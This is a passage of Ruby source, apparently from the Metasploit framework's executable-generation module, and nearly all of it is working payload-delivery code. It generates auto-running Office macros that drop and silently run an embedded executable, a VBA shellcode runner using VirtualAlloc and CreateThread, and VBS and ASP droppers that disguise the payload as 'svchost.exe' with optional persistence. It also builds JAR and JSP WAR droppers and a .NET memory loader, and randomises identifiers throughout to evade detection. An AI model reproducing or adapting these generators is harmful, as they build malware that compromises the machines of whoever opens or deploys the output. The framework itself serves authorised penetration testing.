var_fname = var_base + (var_base_idx+=1).to_s
|
| 719 |
var_fenvi = var_base + (var_base_idx+=1).to_s
|
| 720 |
var_fhand = var_base + (var_base_idx+=1).to_s
|
| 721 |
var_parag = var_base + (var_base_idx+=1).to_s
|
| 722 |
var_itemp = var_base + (var_base_idx+=1).to_s
|
| 723 |
var_btemp = var_base + (var_base_idx+=1).to_s
|
| 724 |
var_appnr = var_base + (var_base_idx+=1).to_s
|
| 725 |
var_index = var_base + (var_base_idx+=1).to_s
|
| 726 |
var_gotmagic = var_base + (var_base_idx+=1).to_s
|
| 727 |
var_farg = var_base + (var_base_idx+=1).to_s
|
| 728 |
var_stemp = var_base + (var_base_idx+=1).to_s
|
| 729 |
|
| 730 |
# Function 1 extracts the binary
|
| 731 |
func_name1 = var_base + (var_base_idx+=1).to_s
|
| 732 |
|
| 733 |
# Function 2 executes the binary
|
| 734 |
func_name2 = var_base + (var_base_idx+=1).to_s
|
| 735 |
|
| 736 |
vba << "'**************************************************************\r\n"
|
| 737 |
vba << "'*\r\n"
|
| 738 |
vba << "'* This code is now split into two pieces:\r\n"
|
| 739 |
vba << "'* 1. The Macro. This must be copied into the Office document\r\n"
|
| 740 |
vba << "'* macro editor. This macro will run on startup.\r\n"
|
| 741 |
vba << "'*\r\n"
|
| 742 |
vba << "'* 2. The Data. The hex dump at the end of this output must be\r\n"
|
| 743 |
vba << "'* appended to the end of the document contents.\r\n"
|
| 744 |
vba << "'*\r\n"
|
| 745 |
vba << "'**************************************************************\r\n"
|
| 746 |
vba << "'*\r\n"
|
| 747 |
vba << "'* MACRO CODE\r\n"
|
| 748 |
vba << "'*\r\n"
|
| 749 |
vba << "'**************************************************************\r\n"
|
| 750 |
|
| 751 |
# The wrapper makes it easier to integrate it into other macros
|
| 752 |
vba << "Sub Auto_Open()\r\n"
|
| 753 |
vba << "\t#{func_name1}\r\n"
|
| 754 |
vba << "End Sub\r\n"
|
| 755 |
|
| 756 |
vba << "Sub #{func_name1}()\r\n"
|
| 757 |
vba << "\tDim #{var_appnr} As Integer\r\n"
|
| 758 |
vba << "\tDim #{var_fname} As String\r\n"
|
| 759 |
vba << "\tDim #{var_fenvi} As String\r\n"
|
| 760 |
vba << "\tDim #{var_fhand} As Integer\r\n"
|
| 761 |
vba << "\tDim #{var_parag} As Paragraph\r\n"
|
| 762 |
vba << "\tDim #{var_index} As Integer\r\n"
|
| 763 |
vba << "\tDim #{var_gotmagic} As Boolean\r\n"
|
| 764 |
vba << "\tDim #{var_itemp} As Integer\r\n"
|
| 765 |
vba << "\tDim #{var_stemp} As String\r\n"
|
| 766 |
vba << "\tDim #{var_btemp} As Byte\r\n"
|
| 767 |
vba << "\tDim #{var_magic} as String\r\n"
|
| 768 |
vba << "\t#{var_magic} = \"#{var_magic}\"\r\n"
|
| 769 |
vba << "\t#{var_fname} = \"#{Rex::Text.rand_text_alpha(rand(8)+8)}.exe\"\r\n"
|
| 770 |
vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n"
|
| 771 |
vba << "\tChDrive (#{var_fenvi})\r\n"
|
| 772 |
vba << "\tChDir (#{var_fenvi})\r\n"
|
| 773 |
vba << "\t#{var_fhand} = FreeFile()\r\n"
|
| 774 |
vba << "\tOpen #{var_fname} For Binary As #{var_fhand}\r\n"
|
| 775 |
vba << "\tFor Each #{var_parag} in ActiveDocument.Paragraphs\r\n"
|
| 776 |
vba << "\t\tDoEvents\r\n"
|
| 777 |
vba << "\t\t\t#{var_stemp} = #{var_parag}.Range.Text\r\n"
|
| 778 |
vba << "\t\tIf (#{var_gotmagic} = True) Then\r\n"
|
| 779 |
vba << "\t\t\t#{var_index} = 1\r\n"
|
| 780 |
vba << "\t\t\tWhile (#{var_index} < Len(#{var_stemp}))\r\n"
|
| 781 |
vba << "\t\t\t\t#{var_btemp} = Mid(#{var_stemp},#{var_index},4)\r\n"
|
| 782 |
vba << "\t\t\t\tPut ##{var_fhand}, , #{var_btemp}\r\n"
|
| 783 |
vba << "\t\t\t\t#{var_index} = #{var_index} + 4\r\n"
|
| 784 |
vba << "\t\t\tWend\r\n"
|
| 785 |
vba << "\t\tElseIf (InStr(1,#{var_stemp},#{var_magic}) > 0 And Len(#{var_stemp}) > 0) Then\r\n"
|
| 786 |
vba << "\t\t\t#{var_gotmagic} = True\r\n"
|
| 787 |
vba << "\t\tEnd If\r\n"
|
| 788 |
vba << "\tNext\r\n"
|
| 789 |
vba << "\tClose ##{var_fhand}\r\n"
|
| 790 |
vba << "\t#{func_name2}(#{var_fname})\r\n"
|
| 791 |
vba << "End Sub\r\n"
|
| 792 |
|
| 793 |
vba << "Sub #{func_name2}(#{var_farg} As String)\r\n"
|
| 794 |
vba << "\tDim #{var_appnr} As Integer\r\n"
|
| 795 |
vba << "\tDim #{var_fenvi} As String\r\n"
|
| 796 |
vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n"
|
| 797 |
vba << "\tChDrive (#{var_fenvi})\r\n"
|
| 798 |
vba << "\tChDir (#{var_fenvi})\r\n"
|
| 799 |
vba << "\t#{var_appnr} = Shell(#{var_farg}, vbHide)\r\n"
|
| 800 |
vba << "End Sub\r\n"
|
| 801 |
|
| 802 |
vba << "Sub AutoOpen()\r\n"
|
| 803 |
vba << "\tAuto_Open\r\n"
|
| 804 |
vba << "End Sub\r\n"
|
| 805 |
|
| 806 |
vba << "Sub Workbook_Open()\r\n"
|
| 807 |
vba << "\tAuto_Open\r\n"
|
| 808 |
vba << "End Sub\r\n"
|
| 809 |
vba << "'**************************************************************\r\n"
|
| 810 |
vba << "'*\r\n"
|
| 811 |
vba << "'* PAYLOAD DATA\r\n"
|
| 812 |
vba << "'*\r\n"
|
| 813 |
vba << "'**************************************************************\r\n\r\n\r\n"
|
| 814 |
vba << "#{var_magic}\r\n"
|
| 815 |
|
| 816 |
# Writing the bytes of the exe to the file
|
| 817 |
1.upto(exe.length) do |pc| |
| 818 |
while(c = exe[idx])
|
| 819 |
vba << "&H#{("%.2x" % c).upcase}"
|
| 820 |
if (idx > 1 and (idx % maxbytes) == 0) |
| 821 |
# When maxbytes are written make a new paragrpah
|
| 822 |
vba << "\r\n"
|
| 823 |
end
|
| 824 |
idx += 1
|
| 825 |
end
|
| 826 |
end
|
| 827 |
return vba
|
| 828 |
end
|
| 829 |
|
| 830 |
def self.to_vba(framework,code,opts={}) |
| 831 |
var_myByte = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 832 |
var_myArray = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 833 |
var_rwxpage = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 834 |
var_res = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 835 |
var_offset = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 836 |
var_lpThreadAttributes = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 837 |
var_dwStackSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 838 |
var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 839 |
var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 840 |
var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 841 |
var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 842 |
var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 843 |
var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 844 |
var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 845 |
var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 846 |
var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 847 |
var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 848 |
var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize |
| 849 |
|
| 850 |
# put the shellcode bytes into an array
|
| 851 |
bytes = ''
|
| 852 |
maxbytes = 20
|
| 853 |
codebytes = code.unpack('C*')
|
| 854 |
1.upto(codebytes.length) do |idx| |
| 855 |
bytes << codebytes[idx].to_s |
| 856 |
bytes << "," if idx < codebytes.length - 1 |
| 857 |
bytes << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0) |
| 858 |
end
|
| 859 |
|
| 860 |
"#If Vba7 Then
|
| 861 |
Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As LongPtr, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As LongPtr |
| 862 |
Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As LongPtr |
| 863 |
Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As LongPtr, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As LongPtr |
| 864 |
#Else |
| 865 |
Private Declare Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As Long, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As Long |
| 866 |
Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As Long |
| 867 |
Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As Long, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As Long |
| 868 |
#EndIf |
| 869 |
|
| 870 |
Sub Auto_Open() |
| 871 |
Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long |
| 872 |
#If Vba7 Then |
| 873 |
Dim #{var_rwxpage} As LongPtr, #{var_res} As LongPtr |
| 874 |
#Else |
| 875 |
Dim #{var_rwxpage} As Long, #{var_res} As Long |
| 876 |
#EndIf |
| 877 |
#{var_myArray} = Array(#{bytes}) |
| 878 |
#{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40) |
| 879 |
For #{var_offset} = LBound(#{var_myArray}) To UBound(#{var_myArray}) |
| 880 |
#{var_myByte} = #{var_myArray}(#{var_offset}) |
| 881 |
#{var_res} = RtlMoveMemory(#{var_rwxpage} + #{var_offset}, #{var_myByte}, 1) |
| 882 |
Next #{var_offset} |
| 883 |
#{var_res} = CreateThread(0, 0, #{var_rwxpage}, 0, 0, 0) |
| 884 |
End Sub |
| 885 |
Sub AutoOpen() |
| 886 |
Auto_Open |
| 887 |
End Sub |
| 888 |
Sub Workbook_Open() |
| 889 |
Auto_Open |
| 890 |
End Sub |
| 891 |
"
|
| 892 |
end
|
| 893 |
|
| 894 |
def self.to_win32pe_vba(framework, code, opts={}) |
| 895 |
to_exe_vba(to_win32pe(framework, code, opts)) |
| 896 |
end
|
| 897 |
|
| 898 |
def self.to_exe_vbs(exes = '', opts={}) |
| 899 |
delay = opts[:delay] || 5 |
| 900 |
persist = opts[:persist] || false |
| 901 |
|
| 902 |
exe = exes.unpack('C*')
|
| 903 |
vbs = ""
|
| 904 |
|
| 905 |
var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small |
| 906 |
var_fname = Rex::Text.rand_text_alpha(rand(8)+8) |
| 907 |
var_func = Rex::Text.rand_text_alpha(rand(8)+8) |
| 908 |
var_stream = Rex::Text.rand_text_alpha(rand(8)+8) |
| 909 |
var_obj = Rex::Text.rand_text_alpha(rand(8)+8) |
| 910 |
var_shell = Rex::Text.rand_text_alpha(rand(8)+8) |
| 911 |
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8) |
| 912 |
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8) |
| 913 |
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8) |
| 914 |
|
| 915 |
vbs << "Function #{var_func}()\r\n"
|
| 916 |
|
| 917 |
vbs << "#{var_bytes}=Chr(#{exe[0]})"
|
| 918 |
|
| 919 |
lines = [] |
| 920 |
1.upto(exe.length-1) do |byte| |
| 921 |
if(byte % 100 == 0) |
| 922 |
lines.push "\r\n#{var_bytes}=#{var_bytes}"
|
| 923 |
end
|
| 924 |
# exe is an Array of bytes, not a String, thanks to the unpack
|
| 925 |
# above, so the following line is not subject to the different
|
| 926 |
# treatments of String#[] between ruby 1.8 and 1.9
|
| 927 |
lines.push "&Chr(#{exe[byte]})"
|
| 928 |
end
|
| 929 |
vbs << lines.join("") + "\r\n" |
| 930 |
|
| 931 |
vbs << "Dim #{var_obj}\r\n"
|
| 932 |
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
|
| 933 |
vbs << "Dim #{var_stream}\r\n"
|
| 934 |
vbs << "Dim #{var_tempdir}\r\n"
|
| 935 |
vbs << "Dim #{var_tempexe}\r\n"
|
| 936 |
vbs << "Dim #{var_basedir}\r\n"
|
| 937 |
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
|
| 938 |
|
| 939 |
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
|
| 940 |
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
|
| 941 |
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
|
| 942 |
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe}, true , false)\r\n"
|
| 943 |
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
|
| 944 |
vbs << "#{var_stream}.Close\r\n"
|
| 945 |
vbs << "Dim #{var_shell}\r\n"
|
| 946 |
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
|
| 947 |
|
| 948 |
vbs << "#{var_shell}.run #{var_tempexe}, 0, true\r\n"
|
| 949 |
vbs << "#{var_obj}.DeleteFile(#{var_tempexe})\r\n"
|
| 950 |
vbs << "#{var_obj}.DeleteFolder(#{var_basedir})\r\n"
|
| 951 |
vbs << "End Function\r\n"
|
| 952 |
|
| 953 |
vbs << "Do\r\n" if persist |
| 954 |
vbs << "#{var_func}\r\n"
|
| 955 |
vbs << "WScript.Sleep #{delay * 1000}\r\n" if persist |
| 956 |
vbs << "Loop\r\n" if persist |
| 957 |
vbs |
| 958 |
end
|
| 959 |
|
| 960 |
def self.to_exe_asp(exes = '', opts={}) |
| 961 |
exe = exes.unpack('C*')
|
| 962 |
vbs = "<%\r\n"
|
| 963 |
|
| 964 |
var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small |
| 965 |
var_fname = Rex::Text.rand_text_alpha(rand(8)+8) |
| 966 |
var_func = Rex::Text.rand_text_alpha(rand(8)+8) |
| 967 |
var_stream = Rex::Text.rand_text_alpha(rand(8)+8) |
| 968 |
var_obj = Rex::Text.rand_text_alpha(rand(8)+8) |
| 969 |
var_shell = Rex::Text.rand_text_alpha(rand(8)+8) |
| 970 |
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8) |
| 971 |
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8) |
| 972 |
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8) |
| 973 |
|
| 974 |
vbs << "Sub #{var_func}()\r\n"
|
| 975 |
|
| 976 |
vbs << "#{var_bytes}=Chr(#{exe[0]})"
|
| 977 |
|
| 978 |
lines = [] |
| 979 |
1.upto(exe.length-1) do |byte| |
| 980 |
if(byte % 100 == 0) |
| 981 |
lines.push "\r\n#{var_bytes}=#{var_bytes}"
|
| 982 |
end
|
| 983 |
# exe is an Array of bytes, not a String, thanks to the unpack
|
| 984 |
# above, so the following line is not subject to the different
|
| 985 |
# treatments of String#[] between ruby 1.8 and 1.9
|
| 986 |
lines.push "&Chr(#{exe[byte]})"
|
| 987 |
end
|
| 988 |
vbs << lines.join("") + "\r\n" |
| 989 |
|
| 990 |
vbs << "Dim #{var_obj}\r\n"
|
| 991 |
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
|
| 992 |
vbs << "Dim #{var_stream}\r\n"
|
| 993 |
vbs << "Dim #{var_tempdir}\r\n"
|
| 994 |
vbs << "Dim #{var_tempexe}\r\n"
|
| 995 |
vbs << "Dim #{var_basedir}\r\n"
|
| 996 |
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
|
| 997 |
|
| 998 |
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
|
| 999 |
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
|
| 1000 |
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
|
| 1001 |
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
|
| 1002 |
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
|
| 1003 |
vbs << "#{var_stream}.Close\r\n"
|
| 1004 |
vbs << "Dim #{var_shell}\r\n"
|
| 1005 |
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
|
| 1006 |
|
| 1007 |
vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n"
|
| 1008 |
vbs << "End Sub\r\n"
|
| 1009 |
|
| 1010 |
vbs << "#{var_func}\r\n"
|
| 1011 |
vbs << "%>\r\n"
|
| 1012 |
vbs |
| 1013 |
end
|
| 1014 |
|
| 1015 |
def self.to_win32pe_vbs(framework, code, opts={}) |
| 1016 |
to_exe_vbs(to_win32pe(framework, code, opts), opts) |
| 1017 |
end
|
| 1018 |
|
| 1019 |
def self.to_win32pe_asp(framework, code, opts={}) |
| 1020 |
to_exe_asp(to_win32pe(framework, code, opts), opts) |
| 1021 |
end
|
| 1022 |
|
| 1023 |
# Creates a jar file that drops the provided +exe+ into a random file name
|
| 1024 |
# in the system's temp dir and executes it.
|
| 1025 |
#
|
| 1026 |
# See also: +Msf::Core::Payload::Java+
|
| 1027 |
#
|
| 1028 |
def self.to_jar(exe, opts={}) |
| 1029 |
spawn = opts[:spawn] || 2 |
| 1030 |
exe_name = Rex::Text.rand_text_alpha(8) + ".exe" |
| 1031 |
zip = Rex::Zip::Jar.new |
| 1032 |
paths = [ |
| 1033 |
[ "metasploit", "Payload.class" ], |
| 1034 |
] |
| 1035 |
zip.add_files(paths, File.join(Msf::Config.data_directory, "java")) |
| 1036 |
zip.build_manifest :main_class => "metasploit.Payload" |
| 1037 |
config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
|
| 1038 |
zip.add_file("metasploit.dat", config)
|
| 1039 |
zip.add_file(exe_name, exe) |
| 1040 |
|
| 1041 |
zip |
| 1042 |
end
|
| 1043 |
|
| 1044 |
# Creates a Web Archive (WAR) file from the provided jsp code. Additional options
|
| 1045 |
# can be provided via the "opts" hash.
|
| 1046 |
def self.to_war(jsp_raw, opts={}) |
| 1047 |
jsp_name = opts[:jsp_name]
|
| 1048 |
jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8) |
| 1049 |
app_name = opts[:app_name]
|
| 1050 |
app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8) |
| 1051 |
|
| 1052 |
meta_inf = [ 0xcafe, 0x0003 ].pack('Vv') |
| 1053 |
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
|
| 1054 |
web_xml = %q{<?xml version="1.0"?>
|
| 1055 |
<!DOCTYPE web-app PUBLIC |
| 1056 |
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" |
| 1057 |
"http://java.sun.com/dtd/web-app_2_3.dtd"> |
| 1058 |
<web-app> |
| 1059 |
<servlet> |
| 1060 |
<servlet-name>NAME</servlet-name> |
| 1061 |
<jsp-file>/PAYLOAD.jsp</jsp-file> |
| 1062 |
</servlet> |
| 1063 |
</web-app> |
| 1064 |
}
|
| 1065 |
web_xml.gsub!(/NAME/, app_name)
|
| 1066 |
web_xml.gsub!(/PAYLOAD/, jsp_name)
|
| 1067 |
|
| 1068 |
zip = Rex::Zip::Archive.new |
| 1069 |
zip.add_file('META-INF/', nil, meta_inf) |
| 1070 |
zip.add_file('META-INF/MANIFEST.MF', manifest)
|
| 1071 |
zip.add_file('WEB-INF/', '') |
| 1072 |
zip.add_file('WEB-INF/web.xml', web_xml)
|
| 1073 |
# add the payload
|
| 1074 |
zip.add_file("#{jsp_name}.jsp", jsp_raw)
|
| 1075 |
|
| 1076 |
# add extra files
|
| 1077 |
if opts[:extra_files] |
| 1078 |
opts[:extra_files].each { |el|
|
| 1079 |
zip.add_file(el[0], el[1]) |
| 1080 |
} |
| 1081 |
end
|
| 1082 |
|
| 1083 |
return zip.pack
|
| 1084 |
end
|
| 1085 |
|
| 1086 |
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload.
|
| 1087 |
# The jsp page converts the hexdump back to a normal .exe file and places it in
|
| 1088 |
# the temp directory. The payload .exe file is then executed.
|
| 1089 |
def self.to_jsp_war(exe, opts={}) |
| 1090 |
|
| 1091 |
# begin <payload>.jsp
|
| 1092 |
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1093 |
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1094 |
var_data = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1095 |
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1096 |
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1097 |
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1098 |
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1099 |
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1100 |
var_counter = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1101 |
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1102 |
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1103 |
var_comb = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1104 |
var_exe = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1105 |
var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1106 |
var_proc = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1107 |
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1108 |
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8) |
| 1109 |
|
| 1110 |
jspraw = "<%@ page import=\"java.io.*\" %>\n"
|
| 1111 |
jspraw << "<%\n"
|
| 1112 |
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{var_hexfile}.txt\";\n"
|
| 1113 |
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
|
| 1114 |
jspraw << "String #{var_data} = \"\";\n"
|
| 1115 |
|
| 1116 |
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
|
| 1117 |
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
|
| 1118 |
jspraw << "}\n"
|
| 1119 |
|
| 1120 |
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
|
| 1121 |
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
|
| 1122 |
|
| 1123 |
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
|
| 1124 |
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
|
| 1125 |
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
|
| 1126 |
jspraw << "#{var_inputstream}.close();\n"
|
| 1127 |
|
| 1128 |
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
|
| 1129 |
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
|
| 1130 |
jspraw << "{\n"
|
| 1131 |
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
|
| 1132 |
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
|
| 1133 |
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
|
| 1134 |
jspraw << "#{var_comb} <<= 4;\n"
|
| 1135 |
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
|
| 1136 |
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
|
| 1137 |
jspraw << "}\n"
|
| 1138 |
|
| 1139 |
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
|
| 1140 |
jspraw << "#{var_outputstream}.close();\n"
|
| 1141 |
|
| 1142 |
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
|
| 1143 |
jspraw << "String[] #{var_fperm} = new String[3];\n"
|
| 1144 |
jspraw << "#{var_fperm}[0] = \"chmod\";\n"
|
| 1145 |
jspraw << "#{var_fperm}[1] = \"+x\";\n"
|
| 1146 |
jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
|
| 1147 |
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
|
| 1148 |
jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
|
| 1149 |
jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
|
| 1150 |
jspraw << "}\n"
|
| 1151 |
# Linux and other UNICES allow removing files while they are in use...
|
| 1152 |
jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
|
| 1153 |
jspraw << "} else {\n"
|
| 1154 |
# Windows does not ..
|
| 1155 |
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
|
| 1156 |
jspraw << "}\n"
|
| 1157 |
|
| 1158 |
jspraw << "%>\n"
|
| 1159 |
|
| 1160 |
# Specify the payload in hex as an extra file..
|
| 1161 |
payload_hex = exe.unpack('H*')[0] |
| 1162 |
opts.merge!( |
| 1163 |
{
|
| 1164 |
:extra_files =>
|
| 1165 |
[ |
| 1166 |
[ "#{var_hexfile}.txt", payload_hex ]
|
| 1167 |
] |
| 1168 |
}) |
| 1169 |
|
| 1170 |
return self.to_war(jspraw, opts) |
| 1171 |
end
|
| 1172 |
|
| 1173 |
|
| 1174 |
# Creates a .NET DLL which loads data into memory
|
| 1175 |
# at a specified location with read/execute permissions
|
| 1176 |
# - the data will be loaded at: base+0x2065
|
| 1177 |
# - default max size is 0x8000 (32768)
|
| 1178 |
def self.to_dotnetmem(base=0x12340000, data="", opts={}) |
| 1179 |
|
| 1180 |
# Allow the user to specify their own DLL template
|
| 1181 |
set_template_default(opts, "dotnetmem.dll")
|
| 1182 |
|
| 1183 |
pe = ''
|
| 1184 |
File.open(opts[:template], "rb") { |fd| |
| 1185 |
pe = fd.read(fd.stat.size) |
| 1186 |
} |
| 1187 |
|
| 1188 |
# Configure the image base
|
| 1189 |
base_offset = opts[:base_offset] || 180 |
| 1190 |
pe[base_offset, 4] = [base].pack('V') |
| 1191 |
|
| 1192 |
# Configure the TimeDateStamp
|
| 1193 |
timestamp_offset = opts[:timestamp_offset] || 136 |
| 1194 |
pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V') |
| 1195 |
|
| 1196 |
# XXX: Unfortunately we cant make this RWX only RX
|
| 1197 |
# Mark this segment as read-execute AND writable
|
| 1198 |
# pe[412,4] = [0xe0000020].pack("V")
|
| 1199 |
|
| 1200 |
# Write the data into the .text segment
|
| 1201 |
text_offset = opts[:text_offset] || 0x1065 |
| 1202 |
text_max = opts[:text_max] || 0x8000 |
| 1203 |
pack = opts[:pack] || 'a32768' |
| 1204 |
pe[text_offset, text_max] = [data].pack(pack) |
| 1205 |
|
| 1206 |
# Generic a randomized UUID
|
| 1207 |
uuid_offset = opts[:uuid_offset] || 37656 |
| 1208 |
pe[uuid_offset,16] = Rex::Text.rand_text(16) |
| 1209 |
|
| 1210 |
return pe
|
| 1211 |
end
|
| 1212 |
|
| 1213 |
|
| 1214 |
def self.encode_stub(framework, arch, code, platform = nil, badchars='') |
| 1215 |
return code if not framework.encoders |
| 1216 |
framework.encoders.each_module_ranked('Arch' => arch) do |name, mod| |
| 1217 |
begin
|
| 1218 |
enc = framework.encoders.create(name) |
| 1219 |
raw = enc.encode(code, badchars, nil, platform)
|
| 1220 |
return raw if raw |
| 1221 |
rescue
|
| 1222 |
end
|
| 1223 |
end
|
| 1224 |
nil
|
| 1225 |
end
|
| 1226 |
|
| 1227 |
def self.generate_nops(framework, arch, len, opts={}) |
| 1228 |
opts['BadChars'] ||= '' |
| 1229 |
opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ] |
| 1230 |
|
| 1231 |
return nil if not framework.nops |
| 1232 |
framework.nops.each_module_ranked('Arch' => arch) do |name, mod| |
| 1233 |
begin
|
| 1234 |
nop = framework.nops.create(name) |
| 1235 |
raw = nop.generate_sled(len, opts) |
| 1236 |
return raw if raw |
| 1237 |
rescue
|
| 1238 |
end
|
| 1239 |
end
|
| 1240 |
nil
|
| 1241 |
end
|
| 1242 |
|
| 1243 |
# This wrapper is responsible for allocating RWX memory, copying the
|
| 1244 |
# target code there, setting an exception handler that calls ExitProcess
|
| 1245 |
